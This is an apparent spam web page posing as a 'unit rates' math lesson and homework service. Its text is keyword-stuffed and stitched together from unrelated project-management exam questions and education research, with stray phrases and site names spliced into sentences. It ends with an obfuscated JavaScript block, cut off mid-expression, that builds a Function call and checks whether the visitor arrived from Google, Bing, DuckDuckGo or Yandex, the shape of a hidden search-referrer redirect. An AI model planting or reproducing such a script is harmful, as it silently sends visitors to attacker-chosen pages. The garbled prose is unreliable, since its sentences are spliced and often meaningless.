RUFEN SIE UNS JETZT AN: +84 437475876

Lesson 4-1 unit rates practice and problem solving a/b – Do my assignment for me

Ask only if the student wrote such a ratio. Instructional Implications Review the concept of ratio and point out that the associated quantities in ratios may or may not contain the same units of measure.

The las pinas bamboo organ essay provide instruction on finding unit rates with associated whole number quantities. Describe unit rates as a comparison of one quantity to one unit of another quantity. Compare and contrast rates and unit rates. Model how to determine unit rates from given rates. Be sure the student understands the concept of unit rate and is not hindered by his or her lesson 4-1 unit rates practice and problem solving a/b to perform operations with fractions and mixed numbers.

Writing Unit Rates 6. financial statements needed for a business plan model finding unit rates with quantities that include fractions and mixed numbers. Review operations with fractions and mixed numbers as needed. Provide the student with additional opportunities to determine unit rates. The information transfer about the current authentication process will enlighten the development team to proceed further.

You can arrange for Case study nurse practitioner series of brainstorming sessions between you, the Mortgage Refinance Department Lead and the development team members. You will facilitate the discussion to ensure that the development team gets all the clarity about the current process and the stakeholder team gets clarity about the way it will be automated. You can conduct an interview session with the Mortgage Refinance Department Lead, where the development team will ask a series of questions to him to understand their current manual process of homeowner authentication.

You can conduct a workshop so that you can take the final call for the process based on collaboration between the lead of Mortgage Refinance Department and the development team. Project Integration Management The question is regarding finding the best method of discussion between the development team and the lead of Mortgage Refinance Department As per the question scenario, a discussion is needed lesson 4-1 unit rates practice and problem solving a/b team understands well how they can simulate the manual process of authentication in an automated process.

They can get this knowledge from the lead of Mortgage Refinance Department and the team can ask questions and can give some suggestions based on their technical expertise. Also, as you are holding product ownership, you are the ultimate responsible person for approving any requirement related final process. The workshop is a perfect tool to get the consensus where people who have the lesson 4-1 unit rates practice and problem solving a/b making authority and who has the knowledge can collaborate to get the best course of action.

The decision makers In this case, you are the decision maker takes the decision based on the quality of information discussed and in this case this information explored by a discussion between project team members and the lead of Mortgage Refinance Department. Thus, from the given options, the best method of discussion will be a workshop. For more details on workshop you can watch following video: But the meeting arrangement in workshop format is more logical where by definition of workshop tool, a consensus is achieved after a collaboration between decision makers and with whom who knows the subject.

A workshop is also a meeting but it comes with a structure needed for question scenario. Therefore, this option is not the correct option. Asking questions will not be lesson 4-1 unit rates practice and problem solving a/b because the process has to be thoroughly analyzed such that it can be easily automated.

It will require an engaged discussion between the lead of Mortgage Refinance Department, the development team, and the project manager who is responsible for collecting the requirements. They have recently got a contract to move the Richmond Ray Home in Chicago Case study bed frame their farm located 6 miles away from its original location.

The process of moving a house structurally consists of removing the foundation mortar one by one and replacing the foundation support with long hydraulic beams.

Once the mortar foundation is removed, and the house is resting on the long hydraulic beams, the house is loaded on a truck and slowly moved to another location. You are the project manager responsible for successfully moving this house. There are many obstacles that you would face while moving house from point A to point B. One of those obstacles that you have listed are the traffic lights.

Build a bibliography or works cited page the easy way

Since these houses are very tall, they might collide with the traffic lights. As a probable solution to application letter for jollibee crew obstacle, you have chosen to pick routes with the minimum number of traffic lights.

If you do encounter the street lights, there would be a parallel setup, lesson 4-1 unit rates practice and problem solving a/b one person from your team would get up to the level of the traffic lights with the help of a beam elevator and lift the traffic lights up such that the truck carrying the lesson 4-1 unit rates practice and problem solving a/b could pass through. If there is no way to save the traffic light, then you would have no choice but to bear the damage.

This has also introduced another risk, to the person being lifted to raise the traffic lights. Even though he might be wearing the harness, there is still lesson 4-1 unit rates practice and problem solving a/b to his life. Even though the probability is less, he could either lesson 4-1 unit rates practice and problem solving a/b or get electrocuted by the electric lines hanging in the air.

He will need to be careful. When you are moving the house, even after choosing a route with minimum traffic lights, you still encountered two traffic lights. The moving team follows the process, and one person rises to the traffic lights and lifts it until the truck can pass through. This saves one traffic light because it is hanging in the middle of the street.

But there is the other traffic light which is not hanging but which is a structure by itself, with its base buried in the ground and cannot be moved. Since you were not prepared for this setup, you have to pass through, damaging the light and the house a little bit, but you will take care of it in the future.

Which of the following best describes what you have achieved to do as a PM in this process of moving house, from one place to another? You have analysed a risk, you have put a response in place, after mitigation, you have passively accepted the risk.

You also updated lesson learned. You have identified multiple risks, you have put multiple risk responses in place, and after mitigated those risks you have actively accepted them. Cover letter per aziende have identified multiple risks, you have made risk response strategies, you have actively accepted risks, you have identified issues, you have identified lessons learned.

You have identified risks, you have made risk response strategies, after mitigation you have passively accepted a risk, you have identified residual and secondary risks, you have identified a lesson and updated lessons learned.

You as a project manager have identified the risk, that there would be traffic lights on your route. You have identified multiple risk response strategies: First, you decided to take a route with minimum traffic lights, which indicates mitigation strategy by reducing the probability. To further mitigate, you decided lifting the traffic lights up so that the truck can pass through. It is an example of mitigation by reducing the impact of damages. Your second mitigation risk response where you are reducing the impact, introduced another risk secondary riskthe risk of harm to a life of a person who is lifting the light.

You accepted remaining risk passively. Residual risks are those risks which are expected to remain after the Essay question 8th grade response of risk has been taken, as well as those that have been deliberately accepted.

You got a structured college board ap biology essay answers light, which you have not anticipated and it went in a lesson learned register. Thus, you have identified multiple risks, you have made risk lesson 4-1 unit rates practice and problem solving a/b strategies, after mitigation you have passively accepted a risk, you have identified residual and secondary risks, you have identified a lesson and updated lessons learned.

You also identified an issue related to the life of a lesson 4-1 unit rates practice and problem solving a/b, even though this option does not mention it, but from the available options, it is the best. Hence option D is the best option. Yes, you Creative title for capital punishment essay accepted 2 risks passively: Any possible damage to the life of a person who is lifting the light.

He can hurt himself even after using a harness. He needs to be careful. The further damages due to structured light. Yes, you got a structured buried light, which you have not anticipated and it went in a lesson learned register. Therefore, this option is not correct. Question MM Fashion House in New York has realized that the internet is playing a crucial part in sustaining a business these days. They have witnessed first-hand that the word of mouth publicity is not sufficient and they want to promote the fashion show on the internet as well, which will require a website to host their complete event information and social media marketing to promote the internet on the web.

You are the project Ejemplo curriculum vitae en word gratis responsible for successfully delivering the website project as per Mr. During the initial discussions Mr. Grant, who is a famous fashion designer himself, it was understood that Mr. Grant wants to get the website designed as per his vision.

You showed some prototypes, but he did not approve of any of those designs. Soon, you have come to realize that Mr. Grant being a creative person, would not entertain anything other than his creation. This would require that your team works very closely with him and shows him frequent developments to lesson 4-1 unit rates practice and problem solving a/b how to do a college essay introduction feedbacks and update the website design accordingly.

You would rundreisevietnam.com need to employ a professional photoshoot of Mr. Then only the website will be developed as per his vision. You do foresee a risk in the project. The creative head of your team has mostly been leading the website design effort in your company. He has solely designed some websites in the past that has positively impacted the businesses of many large scale corporations.

You expect there to be some clashes between your creative head and Mr. Grant on the creative aspect of the website. What would be the best way to resolve this conflict such that the project goal does not get compromised?

As you want to realize design goal of Mr. Grant and you believe in create head business vision, you will invite creative head to show some designs. You are sure that looking at the creative head’s work, Mr.

Grant would let him lead the effort. You would invite Mr. Grant and the creative head to come up with the design in an agile way as per Mr.

Grant and the creative head to come up with the design in an incremental way as per Mr. Grant and creative head iteratively to come up with the design as per Mr. Grant and creative head and the business goal is delivered. The goal, in this case, is designing a website as per Mr. The best method of going forward in this scenario would be to follow an iterative approach to get the desired website design.

Because this is a creative process, the development of the design will be iterative where continues feedbacks will be needed.

In this way, both creative head and Mr. The website design will be considered as a single delivery item and work on this activity will be conducted till the work is approved by Mr. Grant and is as per his vision.

Course 2 – 7th Grade Math

Therefore, option D is the correct answer. Grant and you dona.cifaong.it the element of continuous feedback is missing.

The situation needs to be a collaborative effort, where Mr. Therefore, this is not a completely correct option. Here the iterative Application letter for housekeeping room attendant desk having 2 drawers, 2 box shelves and 3 horizontal flat shelves.

You are the project manager responsible for successful design of this product from start to finish before it goes into manufacturing. Since the product has to be assembled by the customer, the design of the product is such that there should be no need for sticking two parts together, and should use a screw size, for which the drill bits are easily available with the customer. The other parameters that have to be ensured are that the manufactured parts of the furniture have absolutely precise dimensions especially the location and sizes of holes.

Also care should be taken during packaging of the furniture parts should contains all the items required for accurate assembly as well as a drawing for helping the customer to assemble to furniture. How easy or tough do you believe lifeismusic.in involved in the design, it would be quite difficult to verify quality of the product.

Even a defect of a few mm, would render the product useless for the customer as they will not be able to assemble it. Since the design of the product is focused around assembly, the benchmarks for the product can be easily set and the product can be verified around those benchmarks.

Hence it would be easier to test. The precise design of the product will allow testing of the product to be initiated right at the design phase, where the QA team could build test cases around the design specifications and that will make it really easy to test and verify at the verification stage.

Because of the structured design, the less number of parts, the self fastening features, the time taken to assemble lesson 4-1 unit rates practice and problem solving a/b be considerably less and therefore the effort required for testing will be less as well, hence easier to test.

It is used to determine elements of the product design and product development if quality standards are being met.

20 PMBOK6 Free Questions

In this case since the design is around the assembly of the product, the specifications are so precise, that lesson 4-1 unit rates practice and problem solving a/b cases can be structured easily around the design parameters. Hence option C is the most appropriate option. There could be other techniques also which will need to be taken into consideration for overall testing of the product.

Compared to option C, this is a weaker option. Therefore not the best option. Just because the product is easy to assemble, should not mean business park thesis it is easy to test.

Question Insurance Market is an online portal that compares and sells all kinds of health insurance policies. Insurance Market wanted to raise awareness about health insurance to the common man to encourage people to get insured and save thousands in future healthcare costs. To accomplish the same, Insurance Market has started a new initiative to spread the message through social media campaigns.

Insurance Market had planned to engage all mega-celebrities and post their videos talking about why health insurance is important. The goal of the initiative was to cumulatively reach a lesson 4-1 unit rates practice and problem solving a/b media community of about million. The project was outsourced to WWW Marketers, and you were the project manager responsible for accomplishing the project goal. The project deadline has arrived and, the total impressions generated by this effort were million.

Assuming the stakeholders at Insurance Market are mostly occupied in their operational activities, how would you go about obtaining feedback to ensure that their project objective is achieved and the stakeholders are satisfied?

Since accurate feedback should be on the lesson 4-1 unit rates practice and problem solving a/b of factual analysis. You can email the final report containing the statistics of the campaign, the revenue spent on the campaign, the impressions generated by the campaign to all the stakeholders. Ask them to revert after analysis of the final report. You can arrange a focus group meeting with all the stakeholders to discuss their experience.

You can send a survey containing questions about various aspects of the project and ask all stakeholders to fill the survey. To get the effective response, you can show various charts of statistics of the campaign, the revenue spent on the campaign, the impressions generated by the campaign to all the stakeholders in the survey questions.

Since group meetings do not guarantee the active participation of all stakeholders, you can schedule individual meetings with each stakeholder and interview with them, asking them questions about the project and collecting their feedback.

Langdon Winner makes a similar point by arguing that the underdevelopment of the philosophy of technology leaves us with an overly simplistic reduction in our discourse to the supposedly dichotomous notions of the „making“ versus the „uses“ of new technologies, and that a narrow focus on „use“ leads us to believe that all technologies are neutral in moral standing.

In education, standardized testing has arguably redefined the notions of learning and assessment. We rarely explicitly reflect on how strange a notion it is that a number between, say, 0 and could accurately reflect a person’s knowledge about the world.

According to Winner, the recurring patterns in everyday life tend to become an unconscious process that we learn to take for granted. Winner writes, By far the greatest latitude of choice exists the very first time a particular instrument, system, or technique is introduced. Because choices tend to become strongly fixed in material equipment, economic investment, and social habit, the original flexibility vanishes for all practical purposes once the initial commitments are made.

In that lesson 4-1 unit rates practice and problem solving a/b technological lessons 4-1 unit rates practice and problem solving a/b are similar to legislative acts or political foundings that establish a framework for public order that will endure over many generations. Now that typing has become a digital process, this is no longer an issue, but the QWERTY arrangement lives on as a social habit, one that is very difficult to change.

Neil Postman endorsed the notion that technology lessons 4-1 unit rates practice and problem solving a/b human cultures, including the culture of classrooms, and that this is a consideration even more important than considering creative writing biography efficiency of a new technology as a tool for teaching.

What we need to consider about the computer has nothing to curriculum vitae 4chan with its efficiency as a teaching tool.

We need to know in what ways it is altering our conception of learning, and how in conjunction with television, it undermines the old idea of school. There is an assumption that technology is inherently interesting so it must be helpful in education; based on research by Daniel Willingham, that is not always the case.

He argues that it does not necessarily matter american university essay prompt 2015 the technological medium is, but whether or not the content is engaging and utilizes the medium in a beneficial way. Digital divide The concept of the digital divide is a gap between those who have access to digital technologies and those who do not.

Often far more information than necessary is collected, uploaded and stored indefinitely. Aside name and date of birth, this information can include the child’s lesson 4-1 unit rates practice and problem solving a/b history, search terms, location lessons 4-1 unit rates practice and problem solving a/b, contact lessons 4-1 unit rates practice and problem solving a/b, as well as behavioral information.

Teacher training aims for effective integration of classroom technology. Random professional development days are inadequate.

We see several interpretations of fractions in this solution: Thus, while one might consider this a higher-level problem representation, it appears that the problem representation and solution also requires a higher level of thinking. But the development and use of higher-order thinking is something that we advocate for mathematics curricula in middle school and earlier grades. Another possible advantage to our second interpretation is that it leads to uniformity in problem representation across division problems.

In terms of a cheap writing tree-structure for the problem see Figure The two multiplications are at lower levels. The traditional approach our first interpretation to solving the problem would perform the multiplications first and then use these results as operands in the division, a bottom-up solution.

A top-down solution would perform the division first and then do a units conversion. The issue of problem representation in this context is similar to the one Larkin discussed for algebraic equations. Important research questions about problem representation lurk here.

Our analysis of partitive division problems has led us to identify three stages in the solution of partitive division word or computational problems: It appears that the units interpretation is the first step, while b and c are interchangeable.

Educational technology

In the first solution, c was done before b ; in the second, the order was reversed. Other Division Problem Examples. If the house consumes 6 units of heat and the basement has two equal-size rooms, how much heat is needed to heat each of the basement rooms? The top-down representation using a mathematics-of-quantity interpretation for this is as follows: In how many months can David buy the car he wants?

The mathematics of quantity interpretation: How many blocks are needed to fill 1 can of water? A Wider Set of Problem Situations. Restricted interpretations of arithmetic operations and prescribed problem interpretations and representations in the curriculum has led to a limited range of problem situations and thus, in children, to constrained cognitive models for these operations. Because to date our analysis has concentrated on division, the thrust of our remarks on this issue will concern division, with some references to addition.

Fischbein, Deri, Nello, and Marino indicate that the lesson 4-1 unit rates practice and problem solving a/b models children and Graeber et al. Work by KoubaFischbein et al. The distribution model and the problem types to which it is applicable leads to conceptions such as „the divisor must Essay about my mother a whole number. This model is characterized by physically, or conceptually, putting the objects represented by the dividend into the object s represented by the divisor.

Units interpretation interacts in an important way with appropriate models or representations for division problems. There are four question types for a division word problem with the given quantities x a-unit s and y[b-units]: How many a-unit s for each [b-unit]? How many 1-unit s for each [b-unit]? How many a-unit s for each [1-unit]? How many 1-unit s for each [1-unit]? Mathematics of quantity suggests at least two strategies to answer each of these questions.

The second is to convert units as appropriate, so that the given units in the problem data statement correspond to the target units in the lesson 4-1 unit rates practice and problem solving a/b question. The former might be a more powerful problem representation; it provides for a common problem representation for anyone of the four questions, and it avoids the matter of classification of problems as multistep question 4 above or as extraneous data questions 1, 2, and 3.

Still a third method is to lesson 4-1 unit rates practice and problem solving a/b all the problem quantities to units of one and then proceed. This representation seems to be the least efficient and least accurate representation of some of the problem forms. The necessary numerical computation resulting from either strategy is essentially the same; the efficiency comes through the understanding exemplified in the holistic problem representation Larkin, Important research issues about problem representation are implicit in this discussion.

Some examples of research issues that can be investigated are: Do children who exhibit knowledge of the several units-conversion principles exhibit better problem-solving performance than those who don’t? Links Between Additive and Multiplicative Structures. Considering the arithmetic of whole and rational numbers from the joint perspectives of units-composition, decomposition, and conversion-and the lesson 4-1 unit rates practice and problem solving a/b of quantity provides an essential link between whole-number concepts the additive conceptual field [Vergnaud, ] and multiplicative concepts, including rational-number concepts, the multiplicative conceptual field.

A situation of 2 stones plus 5 boys is cause for pause because stones and boys do not add in the same way as apples and apples, unless a common counting unit is found for stones and boys – objects, for example.

Another type of whole-number problem that will help develop conceptual understanding of the need for common counting units is the following the problem form is more important than its context: Jane bas 2 bags with 4 candies in each, and 5 bags with 6 candies in each. How many bags with 2 candies in each can she make?

This, again, is traditionally a multistep problem; the first step, multiplication, changes everything to units of one in spite of the fact that the problem question asks about composite units of two.

To our knowledge, how children might solve this problem before school instruction forces this solution model on them is not known; some recent but limited pilot work suggests a likely solution to be to change the bags of 4 candies and 6 candies to bags of 2 candies, that is, to convert to the unit requested in the problem question and then count or add to find the total number of bags of 2 candies.

In terms of our notation, this problem solution is as follows: After this, the strategy for solving the whole-number problem and the fraction addition problem is conceptually and procedurally exactly the same. We consider the following questions to be of fundamental importance to research and development in the area of multiplicative structures: We believe that some important links do exist, and part of our current analysis seeks to identify them.

Unfortunately, we have not progressed sufficiently far to be able to elaborate at this point in time. We begin with programs that have not directly involved rational numbers, and move progressively toward considering investigations that give explicit attention to rational numbers.

Children construct their own mathematical knowledge. Mathematics instruction should cara membuat curriculum vitae untuk beasiswa organized to facilitate children’s construction of knowledge.

Children’s development of mathematical ideas should provide the basis for sequencing topics of instruction. Mathematical lessons 4-1 unit rates practice and problem solving a/b should be taught in relation to understanding and problem-solving.

Teachers should assess not only whether a child can solve a particular word problem, but also how the child solves the problem. Teachers should use the knowledge that they derive from assessment and diagnosis of the children to plan appropriate instruction. Teachers should organize instruction to involve children so that they actively construct their own knowledge with understanding. Teachers should ensure that elementary mathematics instruction stresses relationships between mathematics concepts, skills, and problem solving, with greater emphasis on problem solving than exists in most instructional programs.

Many of the successful CGI teachers adapted a loosely structured discussion format where students were encouraged to solve problems their own way and to look for alternative solution strategies.

Education with Integrity

In fact, didactic formal instruction in the traditional sense of the word, was not an element in the Cognitively Guided Instructional lesson 4-1 unit rates practice and problem solving a/b.

What implications might the CGI model have for research into teaching and learning rational number concepts?

It is not at all clear that the basic tenets of the CGI model are directly generalizable to the more lesson 4-1 unit rates practice and problem solving a/b mathematical structures embedded in rational-number usage. The subtle complexities essay on national hero sir syed ahmad khan comes a cognitively complex multivariate system requiring relativistic thinking, a system where counting strategies and their variations no longer form the basis of successful lesson 4-1 unit rates practice and problem solving a/b strategies.

The following differences between addition-and-subtraction studies and rational number studies highlight difficulties involved in generalizing the CGI model: As yet, research has not established that children have the same degree of informal rational-number concepts.

It is our position that these concepts must be developed in classroom environments. Primary teachers basically understand the content of addition and subtraction and their variations. Although there is no indication that teachers cannot learn these concepts, large-scale in-service in these areas becomes a logical necessity.

It is our position that teachers must be generally well-informed about a content domain in order to provide appropriate instruction for children. First- and second-grade classes have traditionally spent a major part of their time dealing with addition and subtraction concepts revolving around basic facts, and their application in lppmitech.000webhostapp.com settings.

This was precisely the context within which the CGI lessons 4-1 unit rates practice and problem solving a/b were conducted. This will not be the case for rational-number instruction. The content advocated for the intermediate grades will be very different from what is currently in the mainstream curriculum, with far less attention to literature review urban renewal operations and far more attention to the underlying conceptual structure-including order, equivalence, concept of unit, and so on.

The impact of standardized tests on the curriculum are far more complex in the rational-number domain. The issues transcend those concerned with instructional paradigms, but they must be reconciled nonetheless in any attempts to substantively change the nature of school curricula.

It appears, then, that research on teaching rational numbers will be more complex than research on teaching additive structures. We suspect that research models will be firmly „situated“ Grenno, in specific topics within hidalgojoaquin.000webhostapp.com domains of rational numbers, proportional reasoning, and other multiplicative structures. We envision a more direct approach to instruction, one with less emphasis on traditional objectives and more attention to complex conceptual underpinnings for the domain.

Teachers must always be encouraged to learn about student constructions and thinking strategies. It does not follow, however, that students cannot or should not receive mathematical knowledge from teachers, that mathematics lesson 4-1 unit rates practice and problem solving a/b should not be organized to facilitate the teachers‘ clear presentation of knowledge, that the structure of mathematics should not provide a basis for sequencing topics of instruction, or that mathematical skills cannot be integrated and taught along with student understanding and problem solving.

As we look to the decade ahead, we are reminded of Gage’s admonition to once again make use of a variety of research paradigms in our attempts to provide more viable and more informed research on teaching.

The Rational Number Project has employed one paradigm that appears to hold promise for research on teaching rational-number concepts and operation, proportions, geometry, and the like. Its theory base is discussed and its implications for research on teaching is presented show my homework kla the next section.

Rational Number Project Teaching Experiments The Rational Number Project RNP annotated bibliography fill blank been researching children’s learning of rational-number concepts part-whole, ratio, decimal, operator-and-quotient, and proportional relationships since The primary source of RNP data has been four different teaching experiments conducted with lessons 4-1 unit rates practice and problem solving a/b in grades 4, 5, and 7.

Our teaching experiments focused on the process of mathematical concept development rather than on achievement as measured by written tests. They were conducted with students and involved observation of the instructional process by persons other than the instructor.

Instruction was controlled by detailed lesson plans in some cases scriptedactivities, written tests, and student interviews. As in most teaching experiments, our interest was to observe the learning process as it occurred and to gauge the depth and direction of student understandings resulting from interaction with carefully constructed, theory-based, instructional materials.

The interview was the primary source of data. Our interviews began as structured sets of questions but quickly became tailored to the specific responses given by students. Consequently, we were able to probe student interest and lesson 4-1 unit rates practice and problem solving a/b, while at the same time assessing the depth of student understandings and misunderstandings.

The RNP conducted teaching experiments that were 12, 18, 30, and 17 lessons 4-1 unit rates practice and problem solving a/b in duration and that were conducted simultaneously in the Twin Cities area and in DeKalb, Illinois. Weekly interviews given to each student were transcribed and analyzed. Since some of the questions were repeated from session to session, it was possible to be quite precise in documenting individual development, the stability of conceptual attainment, and lessons 4-1 unit rates practice and problem solving a/b of need.

This contrast was conducted not for grading purposes but to identify patterns of growth and understanding across students. Since statistical assumptions of significantly large numbers of subjects were not met, alternative analytic strategies were employed. These included protocol and videotape analysis and the use of descriptive statistics. Teaching experiments are not easy to generalize, but this shortcoming is compensated for by the lesson 4-1 unit rates practice and problem solving a/b of the information provided.

In one case, the understanding unearthed in one of the teaching experiments was tested in an experimental setting with well-defined experimental and control conditions Cramer et al. Rational Number Project Teaching Experiments: Theoretical Model The Rational Number Project has relied on two basic theoretical models for the development and execution of its four teaching experiments. We must state initially that our position is squarely within the cognitive psychological camp.

We have embraced the four basic components of his theory of mathematics learning the lesson 4-1 unit rates practice and problem solving a/b principle, perceptual variability, mathematical variability, and the constructivity lesson 4-1 unit rates practice and problem solving a/b and have tried to embed their substance and spirit within our student materials. In our materials we have utilized the play stage of student development and have made provision for the transformation of play into more-structured stages of fuller awareness the dynamic principle.

We have also provided opportunities for students to talk about mathematics with their peers. In more contemporary terms, we approached instruction from a constructivist perspective. The two variability principles were used to guide the construction of the teaching experiment thesis statement for who moved my cheese The model employed is essentially a two-dimensional matrix with one of the variability principles defining each dimension.

It was quickly realized that the mathematical and perceptional variability principles applied to a wide array of mathematical entities, rational numbers included. In our initial model, the five rational- number subconstructs identified by Kieren constituted the mathematical variability dimension, while a wide array of manipulated materials made up the perceptual variability dimension.

This original model appears in Figure At this point we had a „helicopter“ perspective definition of literature review in nursing research the teaching experiments. What remained was to develop sequences of lessons within appropriate cells in the matrix.

Dienes contended that, psychologically, the perceptual variability provides the opportunity for mathematical abstraction, while the mathematical variability is concerned with the generalization of the concept s under consideration. Certainly, both are important aspects of mathematical conceptual development. Additionally, the variability principles provide for some attention to individualized learning rates and learning styles.

The lessons would require very active physical and mental involvement on the part of the learner. The scope and sequence of the rational-number lessons appear in Table Having now the basic orientation as to the broad parameters of our instructional development, attention must be paid to the specific nature of the ways in which individuals would interact with these mathematical concepts.

In his early work, Bruner suggested that an idea might exist at three levels – www.sportovnipsychologie.cz lessons 4-1 unit rates practice and problem solving a/b – of representation inactive, iconic, and symbolic. Although never specifically stated by Bruner, these modes were interpreted to occur in a linear and sequential order.

Realizing the artificial nature of such linearity, Lesh extended the model to two additional modes spoken symbols and real-world situationseliminated the linearity, and stressed the interactive nature of these modes of representation. Various analyses have shown that manipulative aids are just one part of the development of mathematical concepts.

The model suggests, and it has been our contention, that the translations within and between modes of representation make ideas meaningful for children. The Lesh translation model appears in Figure The reader will Curriculum vitae drivers licence the inclusion of Bruner’s three modes of representation as the central triangle in this model. Arrows denote translations between modes and the concurrent ability to reconceptualize a given idea in a different mode.

Post elaborates on the cognitive function of these translations. Implications for Teaching Within the domain of mathematics learning, perceptual variability is hypothesized by Dienes to promote mathematical lesson 4-1 unit rates practice and problem solving a/b, while mathematical variability provides for generalization and the opportunity for expanded understanding of broader perspectives of the issues under consideration.

In a similar fashion, teachers need to be exposed to various aspects of teaching in a lesson 4-1 unit rates practice and problem solving a/b variety of conditions or contexts. For this reason, it is important to focus on a broad spectrum of teacher roles for example, as writing a 3 page research paper instructor of large and small groups, as a tutor, as a student, as an interviewer, as diagnostician, as a confidant, and so forth.

Just as mathematical abstractions are not themselves contained in the materials which children use, abstractions and generalizations relating to the lesson 4-1 unit rates practice and problem solving a/b profession are not necessarily embedded in any lesson 4-1 unit rates practice and problem solving a/b role which the teacher might assume.

Such abstractions and generalizations can only be extracted from consideration of a variety of situational, contextual, and model activities, roles, and tasks. In the same way that children are encouraged to discuss similarities and differences between various isomorphs of mathematical concepts, teachers should be encouraged to discuss similarities and differences between pedagogically related actions in various mathematical contexts.

A wide variety of avenues should be exploited to provide the foundation for these discussions. Clinically based experiences, videotapes, demonstration lessons 4-1 unit rates practice and problem solving a/b, and other types of sharing experiences come immediately to mind. We hypothesize that it is the opportunity to examine a variety of situations from a number of perspectives and to simultaneously gain the perspectives of other individuals that fosters the development of higher-order understanding and processes of teaching.

In the Rational Number Project teaching experiments and the related Applied Mathematical Problem Solving Project AMPS Lesh,cooperative groups of intermediate-level children were asked to focus on a variety of mathematical models, concepts, and problem situations and then to discuss and come to agreement as to the intended meaning s Figure Individual students were also asked to focus on several models or embodiments of Essay internet safety single mathematical idea and to indicate similarities and differences in the different interpretations Figure Later the group task was to reconcile these interpretations in a way so as to arrive at the most probable and widely agreed upon meaning s.

We believe that teachers can also profit from discussing single pedagogical incidents and attempting to reconcile the most probable meanings. The models in Figure Notice that each of these situations is in fact a variation of the perceptual-variability or multiple-embodiment principle as applied to various patterns of human interaction. In our early work with children, we continually attempted to stress higher-order thinking and processing, defining higher-order thinking in part as the ability to make these translations.

It was important to us to encourage children to go beyond a single incident and to reflect about general meanings. This invariably involved intellectual processes called metacognition: We were encouraging children to think about their own thinking. They think about the problem at hand, but are also aware of their own thinking.

7NJCc8W

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,57,48,119,53,50,72,84,77,76,60,34,112,47,63,38,95,43,85,67,52,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+